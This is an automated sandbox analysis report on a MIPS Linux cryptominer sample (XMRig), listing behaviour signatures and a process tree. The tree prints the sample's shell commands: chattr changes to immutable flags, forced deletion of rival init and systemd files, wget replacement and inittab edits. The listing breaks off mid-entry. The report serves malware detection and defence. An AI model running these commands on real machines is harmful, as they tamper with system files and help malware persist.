Overview

overview

10

Static

static

1

mipsel.elf

debian-12-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    debian-12_mipsel
  • resource
    debian12-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian12-mipsel-20260513-enkernel:6.1.0-17-4kc-maltalocale:en-usos:debian-12-mipselsystem
  • submitted
    20/10/2026, 09:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    mipsel.elf
  • Size 286KB
  • Sample261020-ldtc4sys4m
  • SHA256 dd0963bbf9268d8901feef055fbbf345b800ab7e430a3a1d65c169f37abada53
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionxmrig_linuxminerpersistenceprivilege_escalation

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Contacts a large (2349) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 36 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 8 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 7 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates active TCP sockets 1 TTPs 7 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 7 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 7 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 7 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Removes the immutable protection flag from a file 1 TTPs 64 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Modifies Bash startup script 2 TTPs 2 IoCs
    persistence
  • Changes its process name 25 IoCs
  • Reads system network configuration 1 TTPs 7 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 14 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 45 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/mipsel.elf
    /tmp/mipsel.elf
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Enumerates active TCP sockets
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Modifies Bash startup script
    • Changes its process name
    • Reads system network configuration
    • Reads runtime system information
    • System Network Configuration Discovery
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:796
    • /bin/sh
      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
      2⤵
        PID:832
        • /usr/bin/chattr
          chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
          3⤵
          • Removes the immutable protection flag from a file
          PID:835
        • /usr/bin/rm
          rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
          3⤵
            PID:839
          • /usr/bin/rm
            rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
            3⤵
              PID:841
            • /usr/bin/rm
              rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
              3⤵
                PID:843
              • /usr/bin/rm
                rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                3⤵
                  PID:844
                • /usr/bin/rm
                  rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                  3⤵
                    PID:845
                • /bin/sh
                  sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                  2⤵
                  • File and Directory Permissions Modification
                  PID:848
                  • /usr/bin/rm
                    rm -f /root/.cling /usr/local/bin/.cling
                    3⤵
                      PID:850
                    • /usr/bin/rm
                      rm -f /bin/wget.p /bin/wget.r
                      3⤵
                        PID:853
                      • /usr/bin/rm
                        rm -f /usr/bin/wget.p /usr/bin/wget.r
                        3⤵
                          PID:855
                        • /usr/bin/rm
                          rm -f /sbin/wget.p /sbin/wget.r
                          3⤵
                            PID:857
                          • /usr/bin/rm
                            rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                            3⤵
                              PID:859
                            • /usr/bin/rm
                              rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                              3⤵
                                PID:860
                            • /bin/sh
                              sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                              2⤵
                                PID:862
                                • /usr/bin/chattr
                                  chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                  3⤵
                                    PID:863
                                • /bin/sh
                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                  2⤵
                                    PID:1045
                                    • /usr/bin/chattr
                                      chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                      3⤵
                                      • Removes the immutable protection flag from a file
                                      PID:1046
                                    • /usr/bin/rm
                                      rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                      3⤵
                                        PID:1047
                                      • /usr/bin/rm
                                        rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                        3⤵
                                          PID:1048
                                        • /usr/bin/rm
                                          rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                          3⤵
                                            PID:1049
                                          • /usr/bin/rm
                                            rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                            3⤵
                                              PID:1050
                                            • /usr/bin/rm
                                              rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                              3⤵
                                                PID:1051
                                            • /bin/sh
                                              sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1052
                                              • /usr/bin/rm
                                                rm -f /root/.cling /usr/local/bin/.cling
                                                3⤵
                                                  PID:1053
                                                • /usr/bin/rm
                                                  rm -f /bin/wget.p /bin/wget.r
                                                  3⤵
                                                    PID:1054
                                                  • /usr/bin/rm
                                                    rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                    3⤵
                                                      PID:1055
                                                    • /usr/bin/rm
                                                      rm -f /sbin/wget.p /sbin/wget.r
                                                      3⤵
                                                        PID:1056
                                                      • /usr/bin/rm
                                                        rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                        3⤵
                                                          PID:1057
                                                        • /usr/bin/rm
                                                          rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                          3⤵
                                                            PID:1058
                                                        • /bin/sh
                                                          sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                          2⤵
                                                            PID:1059
                                                            • /usr/bin/chattr
                                                              chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                              3⤵
                                                                PID:1060
                                                            • /bin/sh
                                                              sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                              2⤵
                                                              • Removes the immutable protection flag from a file
                                                              PID:1143
                                                              • /usr/bin/chattr
                                                                chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                3⤵
                                                                • Removes the immutable protection flag from a file
                                                                PID:1144
                                                              • /usr/bin/rm
                                                                rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                3⤵
                                                                  PID:1145
                                                                • /usr/bin/rm
                                                                  rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                  3⤵
                                                                    PID:1146
                                                                  • /usr/bin/rm
                                                                    rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                    3⤵
                                                                      PID:1147
                                                                    • /usr/bin/rm
                                                                      rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                      3⤵
                                                                        PID:1148
                                                                      • /usr/bin/rm
                                                                        rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                        3⤵
                                                                          PID:1149
                                                                      • /bin/sh
                                                                        sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:1150
                                                                        • /usr/bin/rm
                                                                          rm -f /root/.cling /usr/local/bin/.cling
                                                                          3⤵
                                                                            PID:1151
                                                                          • /usr/bin/rm
                                                                            rm -f /bin/wget.p /bin/wget.r
                                                                            3⤵
                                                                              PID:1152
                                                                            • /usr/bin/rm
                                                                              rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                              3⤵
                                                                                PID:1153
                                                                              • /usr/bin/rm
                                                                                rm -f /sbin/wget.p /sbin/wget.r
                                                                                3⤵
                                                                                  PID:1154
                                                                                • /usr/bin/rm
                                                                                  rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                  3⤵
                                                                                    PID:1155
                                                                                  • /usr/bin/rm
                                                                                    rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                    3⤵
                                                                                      PID:1156
                                                                                  • /bin/sh
                                                                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                    2⤵
                                                                                      PID:1157
                                                                                      • /usr/bin/chattr
                                                                                        chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                        3⤵
                                                                                        • Removes the immutable protection flag from a file
                                                                                        PID:1158
                                                                                    • /bin/sh
                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                      2⤵
                                                                                      • Removes the immutable protection flag from a file
                                                                                      PID:1239
                                                                                      • /usr/bin/chattr
                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                        3⤵
                                                                                        • Removes the immutable protection flag from a file
                                                                                        PID:1240
                                                                                      • /usr/bin/rm
                                                                                        rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                        3⤵
                                                                                          PID:1241
                                                                                        • /usr/bin/rm
                                                                                          rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                          3⤵
                                                                                            PID:1242
                                                                                          • /usr/bin/rm
                                                                                            rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                            3⤵
                                                                                              PID:1243
                                                                                            • /usr/bin/rm
                                                                                              rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                              3⤵
                                                                                                PID:1244
                                                                                              • /usr/bin/rm
                                                                                                rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                3⤵
                                                                                                  PID:1245
                                                                                              • /bin/sh
                                                                                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                2⤵
                                                                                                • File and Directory Permissions Modification
                                                                                                PID:1246
                                                                                                • /usr/bin/rm
                                                                                                  rm -f /root/.cling /usr/local/bin/.cling
                                                                                                  3⤵
                                                                                                    PID:1247
                                                                                                  • /usr/bin/rm
                                                                                                    rm -f /bin/wget.p /bin/wget.r
                                                                                                    3⤵
                                                                                                      PID:1248
                                                                                                    • /usr/bin/rm
                                                                                                      rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                      3⤵
                                                                                                        PID:1249
                                                                                                      • /usr/bin/rm
                                                                                                        rm -f /sbin/wget.p /sbin/wget.r
                                                                                                        3⤵
                                                                                                          PID:1250
                                                                                                        • /usr/bin/rm
                                                                                                          rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                          3⤵
                                                                                                            PID:1251
                                                                                                          • /usr/bin/rm
                                                                                                            rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                            3⤵
                                                                                                              PID:1252
                                                                                                          • /bin/sh
                                                                                                            sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                            2⤵
                                                                                                              PID:1253
                                                                                                              • /usr/bin/chattr
                                                                                                                chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                3⤵
                                                                                                                  PID:1254
                                                                                                              • /bin/sh
                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                2⤵
                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                PID:1367
                                                                                                                • /usr/bin/chattr
                                                                                                                  chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                  3⤵
                                                                                                                    PID:1368
                                                                                                                  • /usr/bin/rm
                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                    3⤵
                                                                                                                      PID:1369
                                                                                                                    • /usr/bin/rm
                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                      3⤵
                                                                                                                        PID:1370
                                                                                                                      • /usr/bin/rm
                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                        3⤵
                                                                                                                          PID:1371
                                                                                                                        • /usr/bin/rm
                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                          3⤵
                                                                                                                            PID:1372
                                                                                                                          • /usr/bin/rm
                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                            3⤵
                                                                                                                              PID:1373
                                                                                                                          • /bin/sh
                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                            2⤵
                                                                                                                            • File and Directory Permissions Modification
                                                                                                                            PID:1374
                                                                                                                            • /usr/bin/rm
                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                              3⤵
                                                                                                                                PID:1375
                                                                                                                              • /usr/bin/rm
                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                3⤵
                                                                                                                                  PID:1376
                                                                                                                                • /usr/bin/rm
                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                  3⤵
                                                                                                                                    PID:1377
                                                                                                                                  • /usr/bin/rm
                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                    3⤵
                                                                                                                                      PID:1378
                                                                                                                                    • /usr/bin/rm
                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                      3⤵
                                                                                                                                        PID:1379
                                                                                                                                      • /usr/bin/rm
                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                        3⤵
                                                                                                                                          PID:1380
                                                                                                                                      • /bin/sh
                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                        2⤵
                                                                                                                                          PID:1381
                                                                                                                                          • /usr/bin/chattr
                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                            3⤵
                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                            PID:1382
                                                                                                                                        • /bin/sh
                                                                                                                                          sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                          2⤵
                                                                                                                                            PID:1467
                                                                                                                                            • /usr/bin/chattr
                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                              3⤵
                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                              PID:1468
                                                                                                                                            • /usr/bin/rm
                                                                                                                                              rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                              3⤵
                                                                                                                                                PID:1469
                                                                                                                                              • /usr/bin/rm
                                                                                                                                                rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                3⤵
                                                                                                                                                  PID:1470
                                                                                                                                                • /usr/bin/rm
                                                                                                                                                  rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1471
                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                    rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1472
                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                      rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1473
                                                                                                                                                    • /bin/sh
                                                                                                                                                      sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                      2⤵
                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                      PID:1474
                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                        rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1475
                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                          rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1476
                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                            rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1477
                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                              rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1478
                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1479
                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                  rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1480
                                                                                                                                                                • /bin/sh
                                                                                                                                                                  sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1481
                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                      chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:1482
                                                                                                                                                                  • /var/tmp/.grd1an
                                                                                                                                                                    .grd1an vps --g
                                                                                                                                                                    1⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Modifies Watchdog functionality
                                                                                                                                                                    • Changes its process name
                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                    PID:800
                                                                                                                                                                  • /tmp/.guardian
                                                                                                                                                                    .guardian vps
                                                                                                                                                                    1⤵
                                                                                                                                                                    • Modifies Watchdog functionality
                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                    • Enumerates active TCP sockets
                                                                                                                                                                    • Modifies init.d
                                                                                                                                                                    • Modifies rc script
                                                                                                                                                                    • Modifies systemd
                                                                                                                                                                    • Changes its process name
                                                                                                                                                                    • Reads system network configuration
                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                    • Writes file to shm directory
                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                    PID:868
                                                                                                                                                                    • /bin/sh
                                                                                                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:885
                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                          chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:886
                                                                                                                                                                          • /usr/bin/rm
